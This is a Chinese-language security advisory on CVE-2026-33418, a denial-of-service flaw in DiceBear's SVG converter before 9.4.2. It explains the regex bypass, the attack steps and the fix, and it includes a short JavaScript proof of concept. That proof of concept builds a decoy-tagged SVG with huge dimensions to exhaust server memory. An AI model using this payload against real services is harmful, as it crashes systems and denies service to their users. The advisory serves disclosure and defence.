IPBUF安全漏洞报告
English
CVE-2026-33418 CVSS 7.5 高危

CVE-2026-33418 DiceBear SVG尺寸限制绕过致DoS漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33418
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DiceBear (@dicebear/converter)

相关标签

DoS拒绝服务CVE-2026-33418DiceBearSVG正则绕过Node.js

漏洞概述

DiceBear是常用的头像生成库。在9.4.2版本之前,其`@dicebear/converter`组件使用正则表达式限制SVG宽高属性,旨在防止DoS攻击。然而,该机制存在逻辑缺陷。攻击者可构造特制的SVG输入,在真实的SVG根元素前注入干扰项,诱导正则匹配到非功能性位置,从而成功绕过2048px的尺寸上限。当SVG被渲染时,将使用攻击者指定的超大尺寸,迅速耗尽服务器内存,导致服务崩溃。

技术细节

该漏洞位于`@dicebear/converter`包的`ensureSize()`函数中。原机制通过正则表达式重写SVG的`width`和`height`属性,强制最大值为2048px。由于正则表达式缺乏对XML结构的上下文理解,攻击者可以在真实的SVG根元素之前插入一段包含`<svg`字符串的无效或注释内容(例如隐藏的SVG标签)。正则引擎会优先匹配并修改这个伪造的标签,而忽略后续真正的根元素属性。当经过`@resvg/resvg-js`处理时,渲染引擎会读取真实根元素中未被修改的巨大尺寸(如99999px),导致分配过量内存,引发Node.js进程崩溃(OOM)。修复版本引入了`fast-xml-parser`进行解析,并添加了`fitTo`约束作为纵深防御。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标网站或应用使用了DiceBear库且版本低于9.4.2。
STEP 2
2. 构造恶意载荷
攻击者创建一个包含干扰项的SVG文件,在真实根元素前插入一个符合尺寸要求的虚假SVG标签,同时将真实根元素的宽高设置为极大值(如99999px)。
STEP 3
3. 发送请求
攻击者将构造好的恶意SVG文件上传或发送给目标应用的头像生成接口。
STEP 4
4. 正则绕过与渲染
服务端的`ensureSize()`函数正则匹配并修改了虚假标签,未检测到真实根元素的超大尺寸。随后`@resvg/resvg-js`按照真实根元素的尺寸进行渲染。
STEP 5
5. 拒绝服务
尝试渲染超大尺寸的图像导致服务器内存耗尽(OOM),Node.js进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-33418: DiceBear SVG Size Limit Bypass // The vulnerable regex matches the first occurrence of <svg width/height>. // By placing a decoy SVG tag before the real one, the limit is applied to the decoy. // The real SVG retains its malicious huge dimensions, causing OOM. const maliciousSvg = ` <!-- Decoy SVG element to satisfy the regex check --> <svg width="2048" height="2048" xmlns="http://www.w3.org/2000/svg" style="display:none;"> <rect width="100%" height="100%" fill="white"/> </svg> <!-- Real malicious SVG element with massive dimensions --> <svg width="999999" height="999999" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="black"/> </svg> `; // Example usage in a vulnerable context: // const { ensureSize } = require('@dicebear/converter'); // const cleanSvg = ensureSize(maliciousSvg); // Modifies the decoy, misses the real one // renderAsync(cleanSvg); // Triggers Out-Of-Memory

影响范围

DiceBear < 9.4.2

防御指南

临时缓解措施
若无法立即升级,建议在应用层面对SVG输入进行深度XML解析校验,确保根元素唯一性,并严格限制渲染操作的超时时间及最大内存使用量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表